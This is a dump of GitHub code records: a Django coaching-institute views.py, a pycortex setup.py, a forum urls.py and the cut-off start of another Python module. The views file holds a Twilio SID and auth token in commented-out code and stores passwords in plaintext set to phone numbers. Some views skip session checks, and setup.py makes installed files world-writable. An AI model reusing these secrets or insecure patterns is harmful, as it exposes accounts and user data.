redirect('/stafftbl')\ndef removestaff(request,p1):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=staff.objects.get(staff_id=p1)\n data.delete()\n\n data2=login.objects.get(username=p1)\n data2.delete()\n return redirect('/stafftbl')\ndef staffmenubar(request):\n return render(request,'staff_menubar.html')\ndef registerstudent(request):\n data1 = tbl_idgen.objects.get(id=1)\n id = data1.studid\n id = int(id+1)\n studid = \"STUD_00\" + str(id)\n request.session[\"studid\"] = id\n d=course.objects.all()\n return render(request,'student_application.html',{'studid':studid,'data':d})\ndef registeredstudent(request):\n data=student()\n data.student_appli_id=request.POST.get('id')\n data.student_name=request.POST.get('name')\n data.course_id_id=request.POST.get('course')\n now = datetime.datetime.now()\n time1 = now.strftime(\"%Y-%m-%d\")\n data.admission_date=time1\n data.house_name=request.POST.get('honame')\n data.street=request.POST.get('street')\n data.district=request.POST.get('district')\n data.dob=request.POST.get('dob')\n data.phone=request.POST.get('phone')\n data.email=request.POST.get('email')\n data.qualification=request.POST.get('qual')\n data.status=\"Pending\"\n data.save()\n\n data1=tbl_idgen.objects.get(id=1)\n data1.studid=request.session[\"studid\"]\n data1.save()\n return render(request,\"index.html\")\ndef viewapplication(request):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=student.objects.filter(status='Pending')\n return render(request,'table_viewapplication.html',{'data1':data})\ndef admission(request,p1):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=student.objects.get(student_appli_id=p1)\n data.status=\"Processed\"\n data.save()\n\n data1=student_admission()\n data1.student_id=data.student_appli_id\n data1.student_name=data.student_name\n data1.course_id=data.course_id\n now = datetime.datetime.now()\n time1 = now.strftime(\"%d-%m-%Y\")\n f1=datetime.datetime.strptime(time1,\"%d-%m-%Y\")\n f2=f1.strftime(\"%d-%m-%Y\")\n data1.admission_date=time1\n data1.house_name=data.house_name\n data1.street=data.street\n data1.district=data.district\n data1.dob=data.dob\n data1.phone=data.phone\n data1.email=data.email\n data1.qualification=data.qualification\n data1.month=f1.month\n data1.year=f1.year\n data1.save()\n \n data2=login()\n data2.username=data.student_appli_id\n data2.password=data.phone\n data2.category=\"Student\"\n data2.save()\n\n # account_sid = 'AC113c9ebddf657b7bcdc45fcee48c1d45'\n # auth_token = 'c7c3be424179711e3b7fafad6ae0d021'\n # client = Client(account_sid, auth_token)\n\n # message = client.messages.create(\n # body='User Registration Sucessfull!!!\\nYour user ID is '+str(data.student_appli_id)+'\\nPassword is : '+str(data.phone),\n # from_='+19785107636',\n # to='+91'+data.phone\n # )\n\n return redirect('/viewapplication')\ndef studenttbl(request):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=student_admission.objects.all()\n return render(request,\"table_student.html\",{'data1':data})\ndef logins(request):\n if request.method == 'POST':\n dataa=login.objects.all()\n un=request.POST.get('username')\n pwd=request.POST.get('password')\n \n flag=0\n \n for da in dataa:\n if un == da.username and pwd == da.password:\n type=da.category\n # request.session['uid']=un\n flag = 1\n if type==\"Admin\":\n request.session['aid']=un\n return redirect('/adminindex') \n elif type==\"Staff\":\n request.session['staid']=un\n return redirect('/staffindex') \n elif type==\"Student\":\n request.session['suid']=un\n user=student_admission.objects.get(student_id=un)\n return render(request,\"student_index.html\",{'user':user})\n # return redirect('/studentindex') \n \n else:\n return HttpResponse(\"Invalid account type\")\n if flag==0:\n return HttpResponse(\"Invalid user\")\ndef logoutadmin(request):\n del request.session['aid']\n data=review.objects.all()\n data1=course.objects.all()\n return render(request,\"index.html\",{'data':data,'data1':data1})\ndef logoutstudent(request):\n del request.session['suid']\n data=review.objects.all()\n data1=course.objects.all()\n return render(request,\"index.html\",{'data':data,'data1':data1})\ndef logoutstaff(request):\n del request.session['staid']\n data=review.objects.all()\n data1=course.objects.all()\n return render(request,\"index.html\",{'data':data,'data1':data1})\ndef studentmenubar(request):\n return render(request,'student_menubar.html')\ndef indexmenubar(request):\n return render(request,'index_menubar.html')\ndef addevent(request):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data1 = tbl_idgen.objects.get(id=1)\n id = data1.eventid\n id = int(id+1)\n eventid = \"STUD_00\" + str(id)\n request.session[\"eventid\"] = id\n return render(request,'add_event.html',{'eventid':eventid})\ndef addingevent(request):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n if request.method=='POST':\n data=event()\n data.event_id=request.POST.get('id')\n data.event_name=request.POST.get('name')\n data.event_date=request.POST.get('date')\n data.description=request.POST.get('desc')\n data.status=request.POST.get('status')\n data.save()\n\n data1=tbl_idgen.objects.get(id=1)\n data1.eventid=request.session[\"eventid\"]\n data1.save()\n messages.success(request,\"Event Added Successfully\")\n return render(request,\"staff_index.html\")\ndef viewevent(request):\n if 'suid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=event.objects.all()\n return render(request,'view_event.html',{'data1':data})\ndef eventtbl(request):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=event.objects.all()\n return render(request,'table_event.html',{'data1':data})\ndef updateevent(request,p1):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=event.objects.get(event_id=p1)\n return render(request,'update_event.html',{'data1':data})\ndef removeevent(request,p1):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=event.objects.get(event_id=p1)\n data.delete()\n return redirect('/eventtbl')\ndef updatedevent(request,p1):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=event.objects.get(event_id=p1)\n data=event()\n data.event_id=request.POST.get('id')\n data.event_name=request.POST.get('name')\n data.event_date=request.POST.get('date')\n data.description=request.POST.get('desc')\n data.status=request.POST.get('status')\n data.save()\n return redirect('/eventtbl')\ndef addquestionbank(request):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data1 = tbl_idgen.objects.get(id=1)\n id = data1.qbankid\n id = int(id+1)\n qbankid = \"QB_00\" + str(id)\n request.session[\"qbankid\"] = id\n return render(request,'add_question_bank.html',{'qbankid':qbankid})\ndef addingquestionbank(request):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n if request.method=='POST':\n data=question_bank()\n data.questionbank_id=request.POST.get('id')\n\n Photo = request.FILES['qst']\n fs = FileSystemStorage()\n filename = fs.save(Photo.name, Photo) \n uploaded_file_url = fs.url(filename)\n data.question_paper=uploaded_file_url \n\n Photo = request.FILES['ans']\n fs = FileSystemStorage()\n filename = fs.save(Photo.name, Photo) \n uploaded_file_url = fs.url(filename)\n data.answer_key=uploaded_file_url \n data.save()\n\n data1=tbl_idgen.objects.get(id=1)\n data1.qbankid=request.session[\"qbankid\"]\n data1.save()\n return redirect('/addquestionbank')\ndef questionbanktbl(request):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=question_bank.objects.all()\n return render(request,'remove_question_bank.html',{'data1':data})\ndef removequestionbank(request,p1):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=question_bank.objects.get(questionbank_id=p1)\n data.delete()\n return redirect('/questionbanktbl')\ndef addexam(request):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data1 = tbl_idgen.objects.get(id=1)\n id = data1.examid\n id = int(id+1)\n examid = \"EX_00\" + str(id)\n request.session[\"examid\"] = id\n return render(request,'add_exam.html',{'examid':examid})\ndef addingexam(request):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n if request.method=='POST':\n data=exam()\n data.exam_id=request.POST.get('id')\n data.exam_name=request.POST.get('name')\n data.eligibility=request.POST.get('eligibility')\n data.exam_type=request.POST.get('type')\n data.save()\n\n data1=tbl_idgen.objects.get(id=1)\n data1.examid=request.session[\"examid\"]\n data1.save()\n return render(request,'staff_index.html')\ndef addquestion(request):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data1 = tbl_idgen.objects.get(id=1)\n id = data1.qstid\n id = int(id+1)\n qstid = \"QST_00\" + str(id)\n request.session[\"qstid\"] = id\n data=exam.objects.all()\n return render(request,'add_question.html',{'qstid':qstid,'data':data})\ndef addingquestion(request):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n if request.method=='POST':\n data=question()\n data.question_id=request.POST.get('id')\n data.exam_id_id=request.POST.get('exam')\n data.question=request.POST.get('qst')\n data.option1=request.POST.get('opt1')\n data.option2=request.POST.get('opt2')\n data.option3=request.POST.get('opt3')\n data.option4=request.POST.get('opt4')\n data.answer=request.POST.get('ans')\n data.status=\"Not Attended\"\n data.save()\n\n data1=tbl_idgen.objects.get(id=1)\n data1.qstid=request.session[\"qstid\"]\n data1.save()\n return redirect('/addquestion')\ndef questiontbl(request):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=question.objects.all()\n return render(request,'table_question.html',{'data1':data})\ndef removequestion(request,p1):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=question.objects.get(question_id=p1)\n data.delete()\n return redirect('/questiontbl')\ndef sam(request):\n data=event.objects.all()\n return render(request,'sample1.html',{'data1':data})\ndef viewquestionbank(request):\n if 'suid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=question_bank.objects.all()\n return render(request,'view_question_bank.html',{'data1':data})\ndef viewexam(request):\n if 'suid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=exam.objects.all()\n return render(request,'view_exam.html',{'data1':data})\ndef registerexam(request,p1):\n if 'suid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data1 = tbl_idgen.objects.get(id=1)\n id = data1.studexamid\n id = int(id+1)\n studexamid = \"SE_00\" + str(id)\n request.session[\"studexamid\"] = id\n s=request.session['suid']\n data=student_admission.objects.get(student_id=s)\n data2=exam.objects.get(exam_id=p1)\n request.session['eid']=p1\n return render(request,'exam_registration.html',{'studexamid':studexamid,'data':data,'data2':data2})\ndef registeringexam(request):\n if 'suid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n if request.method=='POST':\n data=exam_registration()\n data.student_exam_id=request.POST.get('id')\n data.student_id_id=request.session['suid']\n data.exam_id_id=request.session['eid']\n data.status=\"Not Attended\"\n data.save()\n\n data1=tbl_idgen.objects.get(id=1)\n data1.studexamid=request.session[\"studexamid\"]\n data1.save()\n return render(request,'student_index.html')\ndef viewexamregistration(request):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=exam_registration.objects.all()\n return render(request,'view_exam_registration.html',{'data1':data})\ndef mockexamselection(request):\n if 'suid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=exam_registration.objects.filter(student_id=request.session['suid']).filter(status=\"Not Attended\")\n return render(request,'mock_exam_selection.html',{'data1':data})\ndef mockexamselected(request):\n if 'suid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=exam_registration.objects.get(student_exam_id=request.POST.get('mockexam'))\n request.session['exm']=request.POST.get('mockexam')\n data.status=\"Attended\"\n data.save()\n data1=question.objects.filter(exam_id_id=data.exam_id_id).filter(status=\"Not Attended\")\n return render(request,'mock_exam.html',{'data1':data1})\ndef mockexam(request):\n if 'suid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n return render(request,'mock_exam.html')\ndef option1(request,opid,qid,eid):\n if 'suid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data = question.objects.get(question_id=qid)\n if data.answer==opid:\n \n if 'resultid' not in request.session:\n data1 = tbl_idgen.objects.get(id=1)\n id = data1.resultid\n id = int(id+1)\n resultid = \"RESULT_00\" + str(id)\n request.session['resultid'] = resultid\n print(\"op1 rrrrrrrrrrrrrrrrrrrrrrr\",resultid)\n data2=result()\n data2.result_id=resultid\n data2.exam_id_id=eid\n data2.student_id_id=request.session['suid']\n data2.result=1\n data2.status=\"active\"\n now = datetime.datetime.now()\n time1 = now.strftime(\"%Y-%m-%d\")\n data2.date=time1\n data2.save()\n else:\n result_id=request.session['resultid'] \n data2=result.objects.get(result_id=result_id)\n data2.result=int(data2.result)+1\n data2.status=\"active\"\n data2.save() \n else:\n data1 = tbl_idgen.objects.get(id=1)\n id = data1.ansid\n id = int(id+1)\n ansid = \"ANS_00\" + str(id)\n request.session[\"ansid\"] = id\n\n dd=question.objects.get(question_id=qid)\n data3=option_error()\n data3.answer_id=ansid\n data3.question_id=dd.question\n data3.answer=data.answer\n data3.student_id_id=request.session['suid']\n data3.exam_id_id=eid\n data3.student_exam_id_id=request.session['exm']\n data3.date=datetime.datetime.now().strftime (\"%Y-%m-%d\")\n data3.save()\n\n data1=tbl_idgen.objects.get(id=1)\n data1.ansid=id\n data1.save()\n data.status=\"Attended\"\n data.save()\n \n\n data3 = question.objects.filter(exam_id_id=eid).filter(status=\"Not Attended\")\n return render(request,\"mock_exam.html\",{'data1':data3})\ndef option2(request,opid,qid,eid):\n if 'suid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data = question.objects.get(question_id=qid)\n if data.answer==opid:\n \n if 'resultid' not in request.session:\n data1 = tbl_idgen.objects.get(id=1)\n id = data1.resultid\n id = int(id+1)\n resultid = \"RESULT_00\" + str(id)\n request.session['resultid'] = resultid\n data2=result()\n data2.result_id=resultid\n data2.exam_id_id=eid\n data2.student_id_id=request.session['suid']\n data2.result=1\n data2.status=\"active\"\n now = datetime.datetime.now()\n time1 = now.strftime(\"%Y-%m-%d\")\n data2.date=time1\n data2.save()\n else:\n result_id=request.session['resultid'] \n print(\"op2 rrrrrrrrrrrrrrrrrrrrrrr\",result_id) \n \n data2=result.objects.get(result_id=result_id)\n data2.result=int(data2.result)+1\n data2.status=\"active\"\n data2.save() \n else:\n data1 = tbl_idgen.objects.get(id=1)\n id = data1.ansid\n id = int(id+1)\n ansid = \"ANS_00\" + str(id)\n request.session[\"ansid\"] = id\n\n dd=question.objects.get(question_id=qid)\n data3=option_error()\n data3.answer_id=ansid\n data3.question_id=dd.question\n data3.answer=data.answer\n data3.student_id_id=request.session['suid']\n data3.exam_id_id=eid\n data3.student_exam_id_id=request.session['exm']\n data3.date=datetime.datetime.now().strftime (\"%Y-%m-%d\")\n data3.save()\n\n data1=tbl_idgen.objects.get(id=1)\n data1.ansid=id\n data1.save()\n data.status=\"Attended\"\n data.save()\n \n\n data3 = question.objects.filter(exam_id_id=eid).filter(status=\"Not Attended\")\n return render(request,\"mock_exam.html\",{'data1':data3})\ndef option3(request,opid,qid,eid):\n if 'suid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data = question.objects.get(question_id=qid)\n if data.answer==opid:\n \n if 'resultid' not in request.session:\n data1 = tbl_idgen.objects.get(id=1)\n id = data1.resultid\n id = int(id+1)\n resultid = \"RESULT_00\" + str(id)\n request.session['resultid'] = resultid\n data2=result()\n data2.result_id=resultid\n data2.exam_id_id=eid\n data2.student_id_id=request.session['suid']\n data2.result=1\n data2.status=\"active\"\n now = datetime.datetime.now()\n time1 = now.strftime(\"%Y-%m-%d\")\n data2.date=time1\n data2.save()\n else:\n result_id=request.session['resultid'] \n data2=result.objects.get(result_id=result_id)\n data2.result=int(data2.result)+1\n data2.status=\"active\"\n data2.save() \n else:\n data1 = tbl_idgen.objects.get(id=1)\n id = data1.ansid\n id = int(id+1)\n ansid = \"ANS_00\" + str(id)\n request.session[\"ansid\"] = id\n\n dd=question.objects.get(question_id=qid)\n data3=option_error()\n data3.answer_id=ansid\n data3.question_id=dd.question\n data3.answer=data.answer\n data3.student_id_id=request.session['suid']\n data3.exam_id_id=eid\n data3.student_exam_id_id=request.session['exm']\n data3.date=datetime.datetime.now().strftime (\"%Y-%m-%d\")\n data3.save()\n\n data1=tbl_idgen.objects.get(id=1)\n data1.ansid=id\n data1.save()\n data.status=\"Attended\"\n data.save()\n \n\n data3 = question.objects.filter(exam_id_id=eid).filter(status=\"Not Attended\")\n return render(request,\"mock_exam.html\",{'data1':data3})\ndef option4(request,opid,qid,eid):\n if 'suid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data = question.objects.get(question_id=qid)\n if data.answer==opid:\n \n if 'resultid' not in request.session:\n data1 = tbl_idgen.objects.get(id=1)\n id = data1.resultid\n id = int(id+1)\n resultid = \"RESULT_00\" + str(id)\n request.session['reid'] = resultid\n request.session['resultid'] = resultid\n data2=result()\n data2.result_id=resultid\n data2.exam_id_id=eid\n data2.student_id_id=request.session['suid']\n data2.result=1\n data2.status=\"active\"\n now = datetime.datetime.now()\n time1 = now.strftime(\"%Y-%m-%d\")\n data2.date=time1\n data2.save()\n else:\n result_id=request.session['resultid'] \n data2=result.objects.get(result_id=result_id)\n data2.result=int(data2.result)+1\n data2.status=\"active\"\n data2.save() \n else:\n data1 = tbl_idgen.objects.get(id=1)\n id = data1.ansid\n id = int(id+1)\n ansid = \"ANS_00\" + str(id)\n request.session[\"ansid\"] = id\n\n dd=question.objects.get(question_id=qid)\n data3=option_error()\n data3.answer_id=ansid\n data3.question_id=dd.question\n data3.answer=data.answer\n data3.student_id_id=request.session['suid']\n data3.exam_id_id=eid\n data3.student_exam_id_id=request.session['exm']\n data3.date=datetime.datetime.now().strftime (\"%Y-%m-%d\")\n data3.save()\n\n data1=tbl_idgen.objects.get(id=1)\n data1.ansid=id\n data1.save()\n data.status=\"Attended\"\n data.save()\n \n\n data3 = question.objects.filter(exam_id_id=eid).filter(status=\"Not Attended\")\n return render(request,\"mock_exam.html\",{'data1':data3})\ndef finishexam(request):\n if 'suid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n if 'resultid' not in request.session:\n data=exam_registration.objects.filter(student_id=request.session['suid']).filter(status=\"Not Attended\")\n data2=question.objects.all()\n for x in data2:\n x.status=\"Not Attended\"\n x.save()\n st=student_admission.objects.get(student_id=request.session['suid'])\n return render(request,'mock_exam_result1.html',{'st':st})\n else:\n\n resultid=request.session['resultid'] \n \n data=result.objects.get(result_id=resultid)\n data.status=\"completed\"\n data.save()\n data2=question.objects.all()\n for x in data2:\n x.status=\"Not Attended\"\n x.save()\n\n\n data1=tbl_idgen.objects.get(id=1)\n data1.resultid=int(data1.resultid)+1\n data1.save()\n data1=tbl_idgen.objects.get(id=1)\n data1.ansid=request.session['ansid']\n data1.save()\n del request.session['resultid']\n print(\"dddddddddddddddddddddddddddddddddddddddddd\")\n t1=request.session['exm']\n data5=exam_registration.objects.get(student_exam_id=t1)\n # data10=option_error.objects.filter(student_id_id=request.session['suid']).filter(student_exam_id_id=request.session['exm']).filter(exam_id_id=data5.exam_id_id).filter(date=datetime.datetime.now().strftime (\"%Y-%m-%d\"))\n st=request.session['suid']\n request.session['studid']=st\n stdexid=request.session['exm']\n request.session['stud_exm_id']=stdexid\n exid=data5.exam_id_id\n request.session['exm_id']=exid\n\n\n\n # request.session['correctand']=data10\n return render(request,'mock_exam_result.html',{'data1':data}) \n # return render(request,'view_answer.html',{'data1':data}) \n # data=exam_registration.objects.filter(student_id=request.session['suid']).filter(status=\"Not Attended\")\n # return render(request,'mock_exam_selection.html',{'data1':data})\n \ndef feepayment(request):\n if 'suid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data1 = tbl_idgen.objects.get(id=1)\n id = data1.feeid\n id = int(id+1)\n feeid = \"FEE_00\" + str(id)\n request.session[\"feeid\"] = id\n data=course.objects.all()\n return render(request,'fee_payment.html',{'feeid':feeid,'data':data})\ndef feepayed(request):\n if 'suid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n if request.method=='POST':\n data=fee_payment()\n data.payment_id=request.POST.get('id')\n data.student_id_id=request.session['suid']\n data.course_id_id=request.POST.get('course')\n data.fee=request.POST.get('fee')\n now = datetime.datetime.now()\n time1 = now.strftime(\"%d-%m-%Y\")\n f1=datetime.datetime.strptime(time1,\"%d-%m-%Y\")\n print(type(f1))\n f2=f1.strftime(\"%d-%m-%Y\")\n data.payment_date=time1\n data.bank=request.POST.get('bank')\n data.account_no=request.POST.get('acc_no')\n data.ifsc_code=request.POST.get('ifsc')\n data.status=\"Payed\"\n data.month=f1.month\n data.year=f1.year\n data.save()\n\n data1=tbl_idgen.objects.get(id=1)\n data1.feeid=request.session[\"feeid\"]\n data1.save()\n return render(request,'student_index.html')\ndef viewfeecollection(request):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=fee_payment.objects.filter(student_id_id=request.POST.get('name'))\n return render(request,'view_fee_collection.html',{'data1':data})\ndef addreview(request):\n if 'suid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data1 = tbl_idgen.objects.get(id=1)\n id = data1.reviewid\n id = int(id+1)\n reviewid = \"RE_00\" + str(id)\n request.session[\"reviewid\"] = id\n request.session[\"rewid\"] = reviewid\n return render(request,'add_review.html')\ndef addingreview(request):\n if 'suid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n if request.method=='POST':\n data=review()\n data.review_id=request.session[\"rewid\"]\n data.student_id_id=request.session['suid']\n data.review=request.POST.get('review')\n now = datetime.datetime.now()\n time1 = now.strftime(\"%Y-%m-%d\")\n data.review_date=time1\n data.save()\n\n data1=tbl_idgen.objects.get(id=1)\n data1.reviewid=request.session[\"reviewid\"]\n data1.save()\n return render(request,'student_index.html')\ndef selectfeecollection(request):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=student_admission.objects.all()\n return render(request,'select_fee_collection.html',{'data1':data})\ndef viewresult(request):\n if 'suid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=result.objects.filter(student_id_id=request.session['suid'])\n return render(request,'view_exam_result.html',{'data1':data})\ndef viewresultselection(request):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=student_admission.objects.all()\n return render(request,'view_exam_result_selection.html',{'data1':data})\ndef viewstudentresult(request):\n if 'staid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=result.objects.filter(student_id_id=request.POST.get('name'))\n return render(request,'view_student_result.html',{'data1':data})\ndef viewcourse(request):\n if 'suid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=course.objects.all()\n return render(request,'view_course.html',{'data1':data})\ndef viewpubliccourse(request):\n data=course.objects.all()\n return render(request,'view_public_course.html',{'data1':data})\ndef quiz(request):\n data=question.objects.all()\n return render(request,'snippets.html',{'data1':data})\ndef studentsearch(request):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n return render(request,'search.html')\ndef searching(request):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=request.POST.get('search')\n if data:\n search_result=student_admission.objects.filter(student_id__icontains=data)\n fee_result=fee_payment.objects.filter(student_id_id=data)\n if search_result:\n if fee_result:\n return render(request,'search_display.html',{'details':search_result,'fee':fee_result})\n # else:\n return render(request,'search_display2.html',{'details':search_result})\n else:\n return HttpResponse(\"Student Details Not Found\")\n return render(request,\"search.html\")\ndef viewreview(request):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=review.objects.all()\n return render(request,'view_review.html',{'data1':data})\ndef viewpublicreview(request):\n data=review.objects.all()\n return render(request,'view_public_review.html',{'data1':data})\ndef adminindex(request):\n return render(request,'admin_index.html')\ndef studentindex(request):\n return render(request,'student_index.html')\ndef staffindex(request):\n return render(request,'staff_index.html')\ndef toast(request):\n return render(request,'toast.html')\ndef staffsearch(request):\n return render(request,'staff_search.html')\ndef staffsearching(request):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n data=request.POST.get('search')\n if data:\n search_result=staff.objects.filter(staff_id__icontains=data)\n if search_result:\n return render(request,'staff_search_display.html',{'details':search_result})\n else:\n return HttpResponse(\"Staff Details Not Found\")\n return render(request,\"staff_search.html\")\ndef paymentsearch(request):\n return render(request,'payment_search.html')\ndef paymentsearching(request):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n m=request.POST.get('month')\n y=request.POST.get('year')\n data=fee_payment.objects.filter(year=y).filter(month=m)\n return render(request,\"payment_search_display.html\",{'data':data})\ndef admissionsearch(request):\n return render(request,'admission_search.html')\ndef admissionsearching(request):\n if 'aid' not in request.session:\n return render(request,\"login_page.html\")\n else:\n m=request.POST.get('month')\n y=request.POST.get('year')\n data=student_admission.objects.filter(year=y).filter(month=m)\n return render(request,\"admission_search_display.html\",{'data':data})\ndef mockexamresult(request):\n return render(request,'mock_exam_result.html')\ndef mockexamresult1(request):\n return render(request,'mock_exam_result1.html')\ndef sa(request):\n data=option_error.objects.filter(student_id_id=request.session['suid']).filter(exam_id_id=request.session['exm']).filter(date=datetime.datetime.now().strftime (\"%Y-%m-%d\"))\n return render(request,'sample.html',{'data1':data})\ndef viewanswer(request):\n\n # st=request.session['suid']\n # request.session['studid']=st\n # stdexid=request.session['stud_exm_id']\n # exid=request.session['exm_id']\n data=option_error.objects.filter(student_id_id=request.session['suid']).filter(student_exam_id_id=request.session['stud_exm_id']).filter(exam_id_id=request.session['exm_id']).filter(date=datetime.datetime.now().strftime (\"%Y-%m-%d\"))\n\n\n\n\n\n\n\n # data=request.session['correctand']\n return render(request,'view_answer.html',{'data1':data})\n\n\n\n# Create your views here.\n","repo_name":"Navaneeth442000/PSC_Project","sub_path":"PscCoaching/app1/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":40124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73031309173","text":"#!/usr/bin/env python\n\nimport os\nimport sys\nfrom numpy.distutils.misc_util import get_numpy_include_dirs\n\ntry:\n import configparser\nexcept ImportError:\n import ConfigParser as configparser\n\nif len(set(('develop', 'bdist_egg', 'bdist_rpm', 'bdist', 'bdist_dumb',\n 'bdist_wininst', 'install_egg_info', 'egg_info', 'easy_install',\n 'test',\n )).intersection(sys.argv)) > 0:\n # This formulation is taken from nibabel.\n # \"setup_egg imports setuptools setup, thus monkeypatching distutils.\"\n # Turns out, this patching needs to happen before disutils.core.Extension\n # is imported in order to use cythonize()...\n from setuptools import setup\nelse:\n # Use standard\n from distutils.core import setup\n\nfrom distutils.command.install import install\nfrom distutils.core import Extension\n\nfrom Cython.Build import cythonize\n\n\ndef set_default_filestore(prefix, optfile):\n config = configparser.ConfigParser()\n config.read(optfile)\n config.set(\"basic\", \"filestore\", os.path.join(prefix, \"db\"))\n config.set(\"webgl\", \"colormaps\", os.path.join(prefix, \"colormaps\"))\n with open(optfile, 'w') as fp:\n config.write(fp)\n\nclass my_install(install):\n def run(self):\n install.run(self)\n optfile = [f for f in self.get_outputs() if 'defaults.cfg' in f]\n prefix = os.path.join(self.install_data, \"share\", \"pycortex\")\n set_default_filestore(prefix, optfile[0])\n self.copy_tree('filestore', prefix)\n for root, folders, files in os.walk(prefix):\n for folder in folders:\n os.chmod(os.path.join(root, folder), 511)\n for fname in files:\n os.chmod(os.path.join(root, fname), 438)\n\nctm = Extension('cortex.openctm', \n ['cortex/openctm.pyx',\n 'OpenCTM-1.0.3/lib/openctm.c',\n 'OpenCTM-1.0.3/lib/stream.c',\n 'OpenCTM-1.0.3/lib/compressRAW.c',\n 'OpenCTM-1.0.3/lib/compressMG1.c',\n 'OpenCTM-1.0.3/lib/compressMG2.c',\n 'OpenCTM-1.0.3/lib/liblzma/Alloc.c',\n 'OpenCTM-1.0.3/lib/liblzma/LzFind.c',\n 'OpenCTM-1.0.3/lib/liblzma/LzmaDec.c',\n 'OpenCTM-1.0.3/lib/liblzma/LzmaEnc.c',\n 'OpenCTM-1.0.3/lib/liblzma/LzmaLib.c',\n ], libraries=['m'], include_dirs=\n ['OpenCTM-1.0.3/lib/', \n 'OpenCTM-1.0.3/lib/liblzma/'\n ] + get_numpy_include_dirs(),\n define_macros=[\n ('LZMA_PREFIX_CTM', None),\n ('OPENCTM_BUILD', None),\n #('__DEBUG_', None),\n ]\n )\nformats = Extension('cortex.formats', ['cortex/formats.pyx'],\n include_dirs=get_numpy_include_dirs())\n\nsetup(name='pycortex',\n version='0.1.1',\n description='Python Cortical mapping software for fMRI data',\n author='James Gao',\n author_email='james@jamesgao.com',\n packages=['cortex', 'cortex.webgl', 'cortex.mapper', 'cortex.dataset', 'cortex.blender', 'cortex.tests'],\n ext_modules=cythonize([ctm, formats]),\n package_data={\n 'cortex':[ \n 'svgbase.xml',\n 'defaults.cfg',\n 'bbr.sch'\n ],\n 'cortex.webgl': [\n '*.html', \n 'favicon.ico', \n 'resources/js/*.js',\n 'resources/js/ctm/*.js',\n 'resources/css/*.css',\n 'resources/css/ui-lightness/*.css',\n 'resources/css/ui-lightness/images/*',\n 'resources/images/*'\n ]\n },\n requires=['mayavi', 'lxml', 'numpy', 'scipy (>=0.9.0)', 'tornado (>3.1)', 'shapely', 'html5lib', 'h5py (>=2.3)', 'numexpr'],\n cmdclass=dict(install=my_install),\n include_package_data=True,\n test_suite='nose.collector'\n)\n\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/gallantlab_pycortex/pycortex-master/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3848,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"74841134132","text":"from django.urls import path\nfrom forum import views\n\napp_name = 'forum'\n\nurlpatterns=[\n path('', views.IndexView.as_view(), name='index'),\n path('category//', views.ShowCategoryView.as_view(), name='show_category'),\n\tpath('category//add_post/', views.AddPostView.as_view(), name='add_post'),\n path('register_profile/', views.RegisterProfileView.as_view(), name='register_profile'),\n\n]","repo_name":"Fahdmoh01/hearmeout-forum","sub_path":"forum/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27952325702","text":"import copy\nimport logging\nimport random\nfrom collections import OrderedDict\nfrom collections import namedtuple\n\nfrom populous import generators\nfrom populous.compat import cached_property\nfrom populous.exceptions import ValidationError\nfrom 